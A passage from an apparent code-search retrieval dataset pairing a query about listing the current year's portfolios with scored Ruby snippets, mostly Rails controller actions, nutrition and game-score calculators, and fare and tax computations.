value, 0].max, guts_max].min.to_f\n end\n end", "title": "" }, { "docid": "675fa476c1b31dfbfea75a0e0c51370e", "score": "0.5522301", "text": "def add(value)\n \n end", "title": "" }, { "docid": "a2c45eead8a52607e4ed13c1d01af764", "score": "0.552026", "text": "def Grass\n \n \tif sexo == \"Hombre\"\n \t\t\n \t\tsexo = 1\n \telse\n \t\n \t\tsexo = 0\n \tend\n\t\n grasas = 1.2 * @imc + 0.23 * edad - 10.8 * sexo - 5.4\n \n if @imc < 18.5 \n puts \"Flaco\"\n else if @imc < 24.9 \n puts \"Aceptable\"\n else \n puts \"Obeso\"\n end \nend \n\n \n return grasas\n \n end", "title": "" }, { "docid": "14b6b36f031ccd7e92a11fe7397e3006", "score": "0.5519805", "text": "def update_righe_sum\n return true unless quantita_changed? || prezzo_unitario_changed? || fattura_id_changed?\n \n Appunto.update_counters appunto.id, \n :totale_copie => (quantita - (quantita_was || 0)),\n :totale_importo => (quantita - (quantita_was || 0)).to_f * (prezzo_unitario - (prezzo_unitario_was || 0)) / 100\n unless fattura.nil?\n Fattura.update_counters fattura.id, \n :totale_copie => (quantita - (quantita_was || 0)),\n :importo_fattura => (quantita - (quantita_was || 0)) * (prezzo_unitario - (prezzo_unitario_was || 0))\n end\n return true\n end", "title": "" }, { "docid": "4ad671e6bc59b8d9550e2d1989b5070b", "score": "0.5517653", "text": "def valor_energetico\n @proteinas * 4.0 + @carbohidratos * 4.0 + @lipidos * 9.0\n end", "title": "" }, { "docid": "e417608b850d16c41289959f6229ec9a", "score": "0.5517155", "text": "def get_valor_energetico\n\n return ((@proteinas + @glucidos) * 4 + @lipidos * 9).round(1)\n\n end", "title": "" }, { "docid": "5833ba346929ee6ff3a39f716d5d2c1f", "score": "0.5511546", "text": "def calculo_valor_energetico\n\t\t\t(@carbohidratos*4) + (@lipidos*9) + (@proteinas*4)\n\t\tend", "title": "" }, { "docid": "908a5867eb1b956ed424325ba0edd734", "score": "0.5511341", "text": "def succ() end", "title": "" }, { "docid": "908a5867eb1b956ed424325ba0edd734", "score": "0.5511341", "text": "def succ() end", "title": "" }, { "docid": "908a5867eb1b956ed424325ba0edd734", "score": "0.5511341", "text": "def succ() end", "title": "" }, { "docid": "7216c9d065596e74b3b59021330834e9", "score": "0.5510978", "text": "def seuil()\n\t\treturn 0\n\tend", "title": "" }, { "docid": "d54a6b25ebb8cae8c462f3e716939819", "score": "0.5502586", "text": "def vrat_celkovy_soucet_vah\n soucet = 0\n @pole_vah.each do |prvek| \n soucet += prvek.to_i\n end\n return soucet\n end", "title": "" }, { "docid": "af6a0b1c25044e18b0f45c0271200f9b", "score": "0.5499682", "text": "def utiliser(unJoueur)\n\t\tunJoueur.incEndurance(@valeurED)\n\t\tunJoueur.incPointsDeVie(@valeurPV)\n\tend", "title": "" }, { "docid": "2bc7f8aab5f640d12654cef83a75d4c5", "score": "0.54941756", "text": "def pega_soma(valor1, valor2)\n #resultado =\n valor1 + valor2\n #return resultado\nend", "title": "" }, { "docid": "0570c713d15e3c2c3c08b565e09a689e", "score": "0.54913145", "text": "def get_usoterreno\n aux = 0.0\n @contenido.each do |alimento|\n aux += alimento.ground\n end\n @usoterreno = aux\n end", "title": "" }, { "docid": "6f9f34b9b0667aa165c724971826554d", "score": "0.5482299", "text": "def xpinc\r\n\t\t@xp += 50\r\n\tend", "title": "" }, { "docid": "6f9f34b9b0667aa165c724971826554d", "score": "0.5482299", "text": "def xpinc\r\n\t\t@xp += 50\r\n\tend", "title": "" }, { "docid": "fbfc38a41f3c2064261a9cb2ab4187c9", "score": "0.5466239", "text": "def nouveau_prix\n nouveau_prix = 0\n if(!bouteille.nil?)\n nouveau_prix = bouteille.prix\n nouveau_prix = nouveau_prix * (1 - (rabais/100)) if rabais?\n end\n ActionController::Base.helpers.number_to_currency(nouveau_prix, unit: \"\", separator: \".\", delimiter: \"\", format: \"%n\")\n end", "title": "" }, { "docid": "5dba30dd88aacde94e322b8decb8efbd", "score": "0.5452465", "text": "def add_money\n @total += fee\n end", "title": "" }, { "docid": "41671d3684c01cd9333e2820cebcfa68", "score": "0.5450108", "text": "def grasaIR\n\t\t((valorEnergeticoKJ.to_f*70)/8400).round(2)\n\tend", "title": "" }, { "docid": "e2be263b8e843410c040ba08e3a5a503", "score": "0.5447121", "text": "def add(number)\n set_value(@value + number.to_i)\n end", "title": "" }, { "docid": "0dc411d80e4d68226baf029a36193a89", "score": "0.54390854", "text": "def incement_score\r\n\t\t \t @score += 2000\r\n\t\t end", "title": "" }, { "docid": "2d89e12c0a2b95b22d18b9c740504aef", "score": "0.5436474", "text": "def porcentajeGlucidos\r\n total_glucidos = 0.0\r\n la = @listaAlimentos.head\r\n lg = @listaGramos.head\r\n while la != nil do\r\n total_glucidos += (la.value.carbohidratos * lg.value) / 100\r\n la = la.next\r\n lg = lg.next\r\n end\r\n total_gramos = listaGramos.reduce(:+)\r\n porcentajeGlucidos = ((total_glucidos / total_gramos)*100).round(2)\r\n end", "title": "" }, { "docid": "dee90215cca381e327f1114586ec653b", "score": "0.5433735", "text": "def adjourn_points_giocataend\r\n # at the end of the game remain to calculate the primiera\r\n player1 = @players[0]\r\n player2 = @players[1]\r\n hand1 = @carte_prese[player1.name]\r\n hand2 = @carte_prese[player2.name]\r\n prim_res_arr = calculate_primiera(hand1, hand2)\r\n @log.debug(\"Primiera of #{player1.name}:#{prim_res_arr[0]}, #{player2.name}: #{prim_res_arr[1]}\")\r\n # update points on all players\r\n ix = 0\r\n [player1, player2].each do |pl|\r\n points_info = @points_curr_segno[pl.name]\r\n points_info[:primiera] = prim_res_arr[ix]\r\n #calculate total\r\n tot = 0\r\n points_info.each do |k,v|\r\n next if k == :tot\r\n tot += v\r\n end\r\n points_info[:tot] = tot\r\n ix += 1\r\n end\r\n end", "title": "" }, { "docid": "04f187346935590c7d1a92845d27a246", "score": "0.53995514", "text": "def porc_grasa\n\t\t(1.2 * self.indice_masa_corporal + 0.23 * edad - 10.8 * sexo - 5.4).round(1)\n\tend", "title": "" }, { "docid": "f640f641cacf6bca64a524882b66ff26", "score": "0.53966546", "text": "def entrada(valor)\n update_attribute(:quantidade, quantidade+valor)\n end", "title": "" }, { "docid": "895214c98e26a92475da4b7b2e1266dd", "score": "0.5381801", "text": "def inscrire_cours(cours_recherche_param)\n LISTE_COURS.each do |cours_temp|\n # Est-ce que le cours est celui recherche ?\n if cours_temp[\"nom\"] == cours_recherche_param\n # Si oui, j'augmente son effectif de 1\n cours_temp[\"effectif\"] = cours_temp[\"effectif\"] + 1\n end\n end\nend", "title": "" }, { "docid": "082b32b6a13fbcc18fff7229ad30e476", "score": "0.537961", "text": "def ener_kj \n\t\t@ener_kj = @saturadas * 37 + @monoinsaturadas * 37 + @polinsaturadas * 37 + @azucares * 17 + @polialcoles * 10 + @almidon * 17 + @fibra * 8 + @proteinas * 17 + @sal * 25\n\t\treturn @ener_kj\n\tend", "title": "" }, { "docid": "12fc664bb50bb2e1ab994aead45b233c", "score": "0.5362492", "text": "def uberSUV_fare_calculator(distance, minutes)\n base_fareSUV = 14.00\n suvTotal = base_fareSUV + (0.80 * minutes.to_i) + (4.50 * distance.to_i)\n if suvTotal < 25.00\n puts 25.00\n else\n puts \"The total for an UberSUV is #{suvTotal}\"\n end\nend", "title": "" }, { "docid": "acfbd27a9154188f01333abab958a509", "score": "0.53510404", "text": "def qty_to_add\n 0\n end", "title": "" }, { "docid": "acfbd27a9154188f01333abab958a509", "score": "0.53510404", "text": "def qty_to_add\n 0\n end", "title": "" }, { "docid": "c1cd5fa2ed283c670e769b9c97d65fbd", "score": "0.53482914", "text": "def valorgrasaspolip\n\t\tvag=(grasaspoli * 70) / 100\n vag.round(2)\n\tend", "title": "" }, { "docid": "79916d1c1cb760064b6bf444b5129111", "score": "0.53294075", "text": "def cure\n puts\"Vous soignez votre animal \\n\"\n @mental +=30\n @health +=60\n return 3\n end", "title": "" }, { "docid": "669e338b8fdd6eae1a87668936d3a3cf", "score": "0.5320404", "text": "def porcentaje_glucidos\n auxNodo1 = @lista_alimentos.head\n auxNodo2 = @gramos.head\n porcentaje_gluc = 0\n while(auxNodo1 != nil && auxNodo2 != nil)\n porcentaje_gluc += (auxNodo1.value.glucidos * auxNodo2.value) / 100\n auxNodo1 = auxNodo1.next\n auxNodo2 = auxNodo2.next\n end\n return porcentaje_gluc.round(1)\n end", "title": "" }, { "docid": "888035d3d7581e3f50cc7ebb3a7ef160", "score": "0.5317336", "text": "def valorenergeticoKJ\n\t\tveKJ=(cgrasas * 37) + (cgrasassa * 37) + (grasasmono * 37) + (grasaspoli * 37) + (hcarbono * 17) + (polialcoholes * 10) + (almidon * 17) + (fibra * 8) + (proteinas * 17) + (sal * 25)\n\t\tveKJ.round(2)\n\tend", "title": "" }, { "docid": "2840a68a24eada598276dab8c7508049", "score": "0.5315871", "text": "def gain_point\n @score += 1\n end", "title": "" }, { "docid": "0dbcacb7e2300dd09df2c30c665e5f6d", "score": "0.5315306", "text": "def total_ve\n\t\t\n\t\ttotal_ve = 0\n\t\ti = 0\n\t\t\n\t\twhile i < conjunto_alimentos.length do\n\t\t\n\t\t\ttotal_ve += conjunto_alimentos[i].gei + total_ve\n\t\t\ti += 1\n\n\t\tend\n\t\n\t\treturn total_ve\n\tend", "title": "" }, { "docid": "558dab6fd3822f18fcb3577490324c7c", "score": "0.5306135", "text": "def add_silver(silver)\n @silvercounter += silver\n @silvercounter\n end", "title": "" }, { "docid": "9da827ddc98aa80599e03daa584c013d", "score": "0.5303632", "text": "def succ\n end", "title": "" }, { "docid": "3ba4942d760f22020d06b9c90b52f0fd", "score": "0.529588", "text": "def get_gei\n aux = 0.0\n @contenido.each do |alimento|\n aux += alimento.gei\n end\n @gei = aux\n end", "title": "" }, { "docid": "36b1ebaf4e4f0a6466714efbec1d25f7", "score": "0.52943516", "text": "def huellaNut \n\t\t(@indEnergia.call + @indGei.call)/2.0\n\tend", "title": "" }, { "docid": "cdf9d648d05fedbd58f82b1d1dcf8a74", "score": "0.52903867", "text": "def ir_energetico \n\t\t@ener_ir = ener_kj\n\t\t@ir_energetico = (@ener_ir/8400.to_f) * 100\n\t\t@ir_energetico.round(1)\n\tend", "title": "" }, { "docid": "29dcc570f9cc525792fd9de28b9fc0bd", "score": "0.5288162", "text": "def suma_visita\n puts \"\\n\\nGuardo conteo de visitas #{id} ...\"\n\n if estadistica = especie_estadisticas.where(estadistica_id: 1).first\n estadistica.conteo+= 1\n estadistica.save\n return\n end\n\n # Quiere decir que no existia la estadistica\n estadistica = especie_estadisticas.new\n estadistica.estadistica_id = 1\n estadistica.conteo = 1\n estadistica.save\n end", "title": "" }, { "docid": "20caa124409256b7865f6fee528dcdf0", "score": "0.5287016", "text": "def calculDesTaxes\n # Si un montant negatif, il s'agit d'une correction pour un\n # paiement annule. Ne rien modifier.\n return if self.montant < 0\n \n # Trouver la somme des montants non-taxable de tous les paiements precedents\n if self.new_record? # Est-ce un nouveau paiement ou une modification?\n paiementsNonTaxable = self.famille.paiements.sum(:non_taxable)\n else\n paiementsNonTaxable = self.famille.paiements.sum(:non_taxable) - Paiement.find(self.id).non_taxable\n end\n paiementsNonTaxable = 0 if paiementsNonTaxable.nil?\n \n if (paiementsNonTaxable < self.famille.cotisation.non_taxable)\n self.non_taxable = self.famille.cotisation.non_taxable - paiementsNonTaxable\n self.non_taxable = self.montant if self.non_taxable > self.montant\n end\n \n brut = self.montant - self.non_taxable;\n if brut > 0\n cts = Constantes.instance\n self.tps = (brut * 100.0 * cts.tps / (1.0 + cts.tps + cts.tvq)).round / 100.0\n self.tvq = (brut * 100.0 * cts.tvq / (1.0 + cts.tps + cts.tvq)).round / 100.0\n self.taxable = brut - self.tps - self.tvq\n else\n self.tps = 0\n self.tvq = 0\n self.taxable = 0\n end \n end", "title": "" }, { "docid": "d312e603aebc1fefa8f6de1ec2ca56ca", "score": "0.5285801", "text": "def plus(number, other)\n\tnumber + other\nend", "title": "" }, { "docid": "c4aa76badffd24fd5e8f4b2e7e6a65dd", "score": "0.5279498", "text": "def total\n (amount + fee) if amount\n end", "title": "" }, { "docid": "8a980bb1355f69a7fbebf9a48424394b", "score": "0.5276013", "text": "def +(num)\n old_plus(old_plus(num))\n end", "title": "" }, { "docid": "526089330ed39060bdd51e085ba7bc03", "score": "0.5262697", "text": "def bust?; value > 21; end", "title": "" }, { "docid": "a3ac87597b6b1b0a0efebc46731301cc", "score": "0.5258269", "text": "def valor_efetivado\n\t\tself.valor_total(1)\n\tend", "title": "" }, { "docid": "ccdfe49524f1152c1639d9b4792f8168", "score": "0.525173", "text": "def azucaresIR\n\t\t((valorEnergeticoKJ.to_f*90)/8400).round(2)\n\tend", "title": "" }, { "docid": "b52d77315bc7b0848d578b0e239b43b8", "score": "0.5241568", "text": "def totalCaloricValue()\n\t\t\t\tplato = @alimentsList.head\n\t\t\t\tgrams = @gramsList.head\n\t\t\t\ttotal = 0.0\n\n\t\t\t\twhile plato != nil\n\t\t\t\t\ttotal += (plato.value.get_energia() * grams.value) / 100\n\t\t\t\t\tplato = plato.next\n\t\t\t\t\tgrams = grams.next\n\t\t\t\tend\n\n\t\t\t\treturn total\n\t\t\tend", "title": "" }, { "docid": "ffb80e05d2d0b900497ef7150ae453dc", "score": "0.5240383", "text": "def test_suma_densa_dispersa\n\t\tassert_equal(@h11.m, @h9+@h10, \"Resultado Incorrecto\" )\n\tend", "title": "" }, { "docid": "6a53e7f9e28376f25bc7775f0459a88a", "score": "0.52364695", "text": "def gain_points\n @score += 1\n end", "title": "" }, { "docid": "c451ab75121ab0be58a29760ac3cae1f", "score": "0.52274925", "text": "def emisiones_gei\n\n\t\tif @emisiones_gei == 0\n\n\t\t\t@lista_alimentos.each do |alimento|\n\n\t\t\t\t@emisiones_gei += alimento.kg_gei\n\t\t\tend\n\n\t\t\t@emisiones_gei = @emisiones_gei.round(2)\n\t\tend\n\n\n\t\t@emisiones_gei\n\tend", "title": "" }, { "docid": "efc1d60b178e951d27f2b19d8c8f9b11", "score": "0.52232844", "text": "def succ!() end", "title": "" }, { "docid": "d4566ff9312478b2f7192f8a16dbb1d2", "score": "0.5222519", "text": "def french_siret_number; end", "title": "" }, { "docid": "17d509381b377dee2c9ccd4cf5404481", "score": "0.5220035", "text": "def calcular_ganancia\n dolar = Option.instance.dolar_libre.to_f\n dinero_acumulado = self.movements.inject(0) do |total,m|\n total + m.monto_neto\n end\n precio_en_dolares = (dinero_acumulado / dolar)\n return (precio_en_dolares - self.copia.precio_compra.to_f)\n end", "title": "" }, { "docid": "5faf9ca984c09e109a73553c803bdaf9", "score": "0.5217629", "text": "def changerEnRouge\n\t\t@couleur=1\n\tend", "title": "" }, { "docid": "27ba7f98fa95481e263eb5d3c3252bb6", "score": "0.5217424", "text": "def gross_total\n self.gross_amount ||= self.net_total + self.tax_total\n end", "title": "" }, { "docid": "ced8439719bea88a83ca9d774e7c9206", "score": "0.52173126", "text": "def valor_calorico\n if eficiencia_energetica() < 670\n return 1\n end\n if eficiencia_energetica() > 830\n return 3\n else\n return 2\n end\n end", "title": "" }, { "docid": "d2b79a5ac24abc4a2be1cab4e95f92ca", "score": "0.5214106", "text": "def cuadrada\n @n==@m\n end", "title": "" }, { "docid": "1f83ae7b5b9c524e9ceeed4dc1007f17", "score": "0.52115804", "text": "def uberX_fare_calculator(distance, minutes)\n base_fareX = 2.55\n xTotal = base_fareX + (0.35 * minutes.to_i) + (1.75 * distance.to_i)\n if xTotal < 8\n puts 8\n else\n puts \"The total for an UberX is #{xTotal}\"\n end\nend", "title": "" }, { "docid": "8eff1e89a7d5d4361d6081257296ef10", "score": "0.5207695", "text": "def grilleSuivante()\n @grilleRaz = nil\n return nil\n end", "title": "" }, { "docid": "ba323ad766f8c7f1094b03a4345a9a3e", "score": "0.52056736", "text": "def value\n @value + ' everyone'\n end", "title": "" }, { "docid": "303ce8da21c2a939c34e437481342980", "score": "0.52039164", "text": "def explicit_value\n return if value.nil?\n value < 0 ? value : \"+#{value.to_s}\"\n end", "title": "" }, { "docid": "e61d2ed5f0e38115e24de54f0ee91a5f", "score": "0.51993895", "text": "def valor_pendente\n\t\tself.valor_total(0)\n\tend", "title": "" }, { "docid": "8b2ee5832cc61c729439ccea747332b5", "score": "0.5196049", "text": "def succ\n self + ONE\n end", "title": "" }, { "docid": "ba007ce20c6f3a27e448729c8fd11cf2", "score": "0.51957124", "text": "def add_points_and_save(xp_value)\n self.points_total += xp_value\n self.save\n end", "title": "" }, { "docid": "5b8330a09490ea978460617f8e098e04", "score": "0.51946914", "text": "def add(value)\n raise ArgumentError, \"Value is nil\" unless (value)\n puts \"==================\" if verbose()\n puts \"value = #{value}\" if verbose()\n\n if (nil == @last_value)\n @last_value = value.to_f()\n puts \"Setting intial last_value = #{@last_value}\" if verbose()\n return nil\n end\n\n @values_up.shift() if (range() == @values_up.length())\n @values_down.shift() if (range() == @values_down.length())\n\n diff = value.to_f - @last_value\n @last_value = value.to_f()\n if (0 > diff)\n @values_up << 0\n @values_down << diff.abs()\n elsif (0 < diff)\n @values_up << diff\n @values_down << 0\n else\n @values_up << 0\n @values_down << 0\n end\n puts \"diff = #{diff}, values_up = #{@values_up.inspect()}, values_down = #{@values_down.inspect()}\" if verbose()\n\n if (@values_up.length() < range())\n puts \"#{@values_up.length()} < #{range()}\" if verbose()\n return nil\n end\n if (@values_up.length() > range())\n puts \"#{@values_up.length()} > #{range()}\" if verbose()\n @values_up.shift()\n @values_down.shift()\n else\n puts \"#{@values_up.length()} == #{range()}\" if verbose()\n end\n\n sum = {:up => 0, :down => 0, :i_up => 0, :i_down => 0}\n \n @values_up.slice(0, range()-1).each() { |value| sum[:up] = sum[:up] + value }\n @values_down.slice(0, range()-1).each() { |value| sum[:down] = sum[:down] + value }\n if (count() == 0)\n sum[:up] = sum[:up] + @values_up[range()-1]\n sum[:down] = sum[:down] + @values_down[range()-1]\n else\n sum[:up] = sum[:up]/(range()-1) + @values_up[range()-1]\n sum[:down] = sum[:down]/(range()-1) + @values_down[range()-1]\n end\n @count = count() + 1\n\n rs = (0 == sum[:down]) ? 100.0 : (sum[:up] / sum[:down])\n puts \"rs = #{rs}\" if verbose()\n\n rsi = 100.0 - (100.0 / (1.0 + rs))\n puts \"rsi = #{rsi}\" if verbose()\n return rsi\n end", "title": "" }, { "docid": "0d8ca35674939a3aef25afb43fb9eb14", "score": "0.51868665", "text": "def sum (tableau)\n chiffre = 0\n tableau.each do |element|\n chiffre = chiffre + element\n end\n return chiffre\nend", "title": "" }, { "docid": "1c060c81bbf33b02bf6701ffa082d6f2", "score": "0.5185282", "text": "def consumo\n estado_actual - estado_anterior\n end", "title": "" }, { "docid": "29313e0cca017fded34a37a338b3f7a5", "score": "0.5183488", "text": "def AddPoints(score)\n\tscore = score + 100\nend", "title": "" }, { "docid": "67fcf848aae53e4e6eb0fc734525954e", "score": "0.5183198", "text": "def jeuTermine\n\t\t@grille.score.recupererTemps(self.timer)\n\t\tscoreFinal = @grille.score.calculerScoreFinal\n\t\t@@joueur.score = scoreFinal > 0 ? scoreFinal : 0\n\t\tself.lancementFinDeJeu\n\t\tself\n\tend", "title": "" } ]
d5c585c9a1265e46049222455a617cc8
Show list of current portfolio this year
[ { "docid": "90cf1c531539864cf0ca0ec72acb7f5e", "score": "0.7074466", "text": "def current\n if params[:year]\n @portfolios = Portfolio.search_portfolio(params[:year]).page(params[:page]).per(10)\n elsif params[:search]\n @portfolios = Portfolio.approved_search(params[:search]).page(params[:page]).per(10)\n else\n @portfolios = Portfolio.all_approved_portfolio\n end\n @years = Portfolio.years\n end", "title": "" } ]
[ { "docid": "a1fe6ee39094388d2256cf0bd4ab6c9c", "score": "0.7126713", "text": "def show\n @folios = @establecimiento.folios.order(:year)\n end", "title": "" }, { "docid": "90154f646bc5b695aa627be173dc08fb", "score": "0.70177007", "text": "def index\n @programme2013s = Programme2013.where(\"date >= ?\", Date.today)\n @title = Time.now.year\n end", "title": "" }, { "docid": "507e950a1a730621a5e814f3b6967843", "score": "0.70123297", "text": "def list_years\n @years = Time.new.month >= 8 ? (1994..Time.new.year).to_a.reverse : (1994...Time.new.year).to_a.reverse\n @title = \"years\"\n end", "title": "" }, { "docid": "a3dee01efa06545c4062fb9b3fcbfabf", "score": "0.6840466", "text": "def index\n todayYear = Time.now.strftime(\"%Y\")\n\n @albums_date = Time.now\n @albums = get_gallery_year(todayYear)\n end", "title": "" }, { "docid": "9a33bfd081de59c95bad7f0e91dbdee3", "score": "0.6745532", "text": "def show\n render_based_by_year :show\n end", "title": "" }, { "docid": "a390421536a7949ef9fd6d05c3384dd7", "score": "0.66995007", "text": "def index\n @financial_years = FinancialYear.all\n end", "title": "" }, { "docid": "9f49add7fd7433592abec8078d3bdfdd", "score": "0.6678297", "text": "def index\n @years = Year.all\n end", "title": "" }, { "docid": "9f49add7fd7433592abec8078d3bdfdd", "score": "0.6678297", "text": "def index\n @years = Year.all\n end", "title": "" }, { "docid": "f212686e47b9823ce8bca30306d883d7", "score": "0.6652076", "text": "def show\n @dashboard_years = Year.all\n \n end", "title": "" }, { "docid": "77042eea5de030b74bb255d6fe99c234", "score": "0.6637542", "text": "def index\n @curriculums = Curriculum.where('created_at > ?', Date.today-10.year)\n end", "title": "" }, { "docid": "ea671cc48609d00563e2d6a0b9bf4f2f", "score": "0.66224885", "text": "def index\n require 'date'\n today = Date.today\n\n @year = today.year\n @clients = Client.all\n end", "title": "" }, { "docid": "231d358abecc7c11b35bc3f676b8ef70", "score": "0.6614975", "text": "def index\n #ppas = Portfolio.search(params[:search])\n @portfolios = Portfolio.next_year_search(params[:search]).page(params[:page]).per(10)\n end", "title": "" }, { "docid": "718ccd0f7a02f27c5747ac671f30a2b6", "score": "0.65957314", "text": "def index\n @projects = Project.all\n @projects_by_year = @projects.group_by(&:year)\n @year = params[:year] || @projects_by_year.keys.sort.last\n @projects = @projects_by_year[@year.to_i]\n @authors = @projects.map(&:author).uniq\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @authors }\n end\n end", "title": "" }, { "docid": "562b3f815eea4e185292a5d4a8ac7b7b", "score": "0.65783113", "text": "def display\n \"#{self.project.name} #{self.beg_year}-#{self.end_year}\"\n end", "title": "" }, { "docid": "60256de5da81a6c8789437ce28d69349", "score": "0.65729696", "text": "def index\n @company_results = current_user.company_results.order('year_result DESC').all \n end", "title": "" }, { "docid": "79b42ce6ac154ce955f14c1bf612e548", "score": "0.6545591", "text": "def index\n @years = Year.all.by_name\n end", "title": "" }, { "docid": "e2c2ee7e9d175754d5a612139d2f3155", "score": "0.6462094", "text": "def local_year_all\n puts \"Local year based on orbits around the sun since year 0\"\n self.planets.each do |planet|\n print \"#{planet.name}:\"\n year = (@age / planet.orbital_period).round(0)\n formatted_year = year.to_s.chars.to_a.reverse.each_slice(3).map(&:join).join(\",\").reverse\n puts \"#{formatted_year} #{planet.name}-years\"\n end\n end", "title": "" }, { "docid": "83d9fa58b3ee6da29cd497d09c785c5d", "score": "0.646128", "text": "def index\n @planilhas = Planilha.year_order\n end", "title": "" }, { "docid": "35491e1ee604d04fa4b7487dbe657e27", "score": "0.64503187", "text": "def index\n\n add_breadcrumb \"Fund Projects\", scheduler_index_path(:start_year => @start_year)\n\n current_index = @years.index(@start_year)\n if current_index == 0\n @prev_record_path = \"#\"\n else\n @prev_record_path = scheduler_index_path(:start_year => @start_year - 1)\n end\n if current_index == (@total_rows - 1)\n @next_record_path = \"#\"\n else\n @next_record_path = scheduler_index_path(:start_year => @start_year + 1)\n end\n\n @total_projects_cost_by_year = @projects.joins(:activity_line_items).where('activity_line_items.id IN (?)', @alis.ids).group(\"activity_line_items.fy_year\").sum(ActivityLineItem::COST_SUM_SQL_CLAUSE)\n\n # Get the ALIs for each year\n @year_1_alis = get_alis(@year_1)\n @year_2_alis = get_alis(@year_2)\n @year_3_alis = get_alis(@year_3)\n\n end", "title": "" }, { "docid": "6f64d50b141dee1321e479130ceb36af", "score": "0.64315104", "text": "def index\n @years = current_user.years.paginate(page: params[:page], per_page: 4)\n #@years = Year.all\n end", "title": "" }, { "docid": "1f17ca3973b8fc25219e826160a08304", "score": "0.6422092", "text": "def index\n @five_years = FiveYear.all\n end", "title": "" }, { "docid": "9ccde7b7b0968ad924941e29b97fc55f", "score": "0.6399896", "text": "def index\n @yearcreations = Yearcreation.all\n end", "title": "" }, { "docid": "625076057f31413f96450b2bdf9c28bb", "score": "0.6387376", "text": "def index\n authorize! :manage, @library\n @terms = Term.current_and_upcoming(1.year).quarters_and_intersessions.group_by(&:year)\n end", "title": "" }, { "docid": "9359a23fcb8adfda6c51d4083f26efc5", "score": "0.63790244", "text": "def index\n @portfolios = Portfolio.where(:user => current_user)\n end", "title": "" }, { "docid": "930a007743a07f7acc39cbb210088d89", "score": "0.63605314", "text": "def index\n @indicators = get_data %w(Київ Львів Одеса), Time.now.year-1\n end", "title": "" }, { "docid": "7f75566d7fa90bf9e5e0703ce699ba3b", "score": "0.6355027", "text": "def display_year\n \"Year #{@year}\"\n end", "title": "" }, { "docid": "9fb23eca76ad9ff826e2e09745481d91", "score": "0.6344424", "text": "def show\n require 'date'\n today = @client.created_at\n @year = today.year\n end", "title": "" }, { "docid": "bfe0e4855efa7ae92b5a2a1eae11e90e", "score": "0.6332787", "text": "def index\n time = Time.now\n year = time.to_s(:school_year)\n @liens = Lien.where('year = ? ', year)\n end", "title": "" }, { "docid": "e585d67eb1a82ed020601215f0ca530b", "score": "0.63321865", "text": "def index\n if user_signed_in?\n if params[:year]\n @vacations = Vacation.year(params[:year])\n else\n @vacations = current_user.vacations\n end\n else\n redirect_to new_user_session_path\n end\n current_user.calculate\n @years = current_user.vacations.map{|v| v[:start_date].year}.uniq\n end", "title": "" }, { "docid": "b96b6859ec0453d7481a6047a8f75f32", "score": "0.63071424", "text": "def all_year; end", "title": "" }, { "docid": "b96b6859ec0453d7481a6047a8f75f32", "score": "0.63071424", "text": "def all_year; end", "title": "" }, { "docid": "2e4fdf7998ad4b576bd48449d29df442", "score": "0.62904805", "text": "def display_show_year(startYear = @@time.year)\n if startYear < @@time.year\n year_text = startYear\n elsif @@time.month >= 6\n year_text = \"#{startYear} - #{@@time.next_year.year}\"\n else\n year_text = startYear \n end\n end", "title": "" }, { "docid": "086fe646f18195beb39ff9cdeb18c5ee", "score": "0.62773967", "text": "def index\n @upcoming = Performance.upcoming_performances\n @past = Performance.past_performances\n @by_year = Performance.by_year(@past)\n @active_year = @past.exists? ? @past.maximum('date').year : ''\n end", "title": "" }, { "docid": "b9974b64eb4047fac6a11a3ae7203c14", "score": "0.6267086", "text": "def index\n @portfolios = Portfolio.all\n end", "title": "" }, { "docid": "b9974b64eb4047fac6a11a3ae7203c14", "score": "0.6267086", "text": "def index\n @portfolios = Portfolio.all\n end", "title": "" }, { "docid": "b9974b64eb4047fac6a11a3ae7203c14", "score": "0.6267086", "text": "def index\n @portfolios = Portfolio.all\n end", "title": "" }, { "docid": "b9974b64eb4047fac6a11a3ae7203c14", "score": "0.6267086", "text": "def index\n @portfolios = Portfolio.all\n end", "title": "" }, { "docid": "b9974b64eb4047fac6a11a3ae7203c14", "score": "0.6267086", "text": "def index\n @portfolios = Portfolio.all\n end", "title": "" }, { "docid": "efb1c4c7613415d2986e9b7ab6741db2", "score": "0.6256202", "text": "def index\n @news = CMS::Novelity.all\n @news_by_years = @news.order(created_at: :desc).group_by { |t| t.created_at.strftime('%Y') }\n end", "title": "" }, { "docid": "527ffab9e085c549cff4b2cdfa17ac63", "score": "0.62497413", "text": "def index\n if @user.admin\n @contracts = Contract.find(:all)\n else\n @contracts = Contract.find(:all, :conditions => \"salesperson_id = #{@user.salesperson_id}\")\n end\n \n @current_year = DateTime.now.year\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contracts }\n end\n end", "title": "" }, { "docid": "bdf7e9da834104ffb8cf5ed3629cbf42", "score": "0.62470967", "text": "def show\n @eras_nav = Era.order(:start_year)\n end", "title": "" }, { "docid": "cc066cd52f8b07da20dc8f97b79e49dc", "score": "0.624142", "text": "def show\n @eras = Era.order(:start_year)\n end", "title": "" }, { "docid": "727991c18fd00841d3141bfda1714466", "score": "0.62316453", "text": "def index\n @sessionyears = Sessionyear.sorted\n end", "title": "" }, { "docid": "2b9983f93dd0446dbf4062162613289f", "score": "0.62277895", "text": "def current_year\n\t\t\"2010\"\n\tend", "title": "" }, { "docid": "bc2a810c951b0bea660bf45660058cde", "score": "0.6214402", "text": "def index\n @year_objs = YearObj.all\n end", "title": "" }, { "docid": "cdc1d95a08b8882cd38655be1e7c4f21", "score": "0.6206862", "text": "def years_collection\n for year in (Time.now.year-2..Time.now.year+10) \n end\n end", "title": "" }, { "docid": "c3d18897ec7ef1f0ecd5c2f3a3bad0dc", "score": "0.62047404", "text": "def index\n @accounting_years = AccountingYear.all\n end", "title": "" }, { "docid": "d135bb6d50107bd1dce4c4988fa92377", "score": "0.6182821", "text": "def display_year\n display_date.year.to_s\n end", "title": "" }, { "docid": "35def80d08c177a835f9eb009d5f429d", "score": "0.617269", "text": "def year() civil[0] end", "title": "" }, { "docid": "35def80d08c177a835f9eb009d5f429d", "score": "0.617269", "text": "def year() civil[0] end", "title": "" }, { "docid": "88a056ff90101e11033a4086e729aea0", "score": "0.6167983", "text": "def current_year\n (Time.now).strftime(\"%Y\").to_i\n end", "title": "" }, { "docid": "425ebd9b23818216c08bab0f798f167a", "score": "0.6159567", "text": "def find_commercial_years_with_items\n @years = []\n\n date_field_model_name = self.acts_as_archive_configuration[:date_field_model_name]\n\n self.acts_as_archive_items.all.each do |item|\n year = item.send(date_field_model_name).to_date.cwyear\n @years << year unless @years.include?(year)\n end\n\n @years.sort { |a,b| 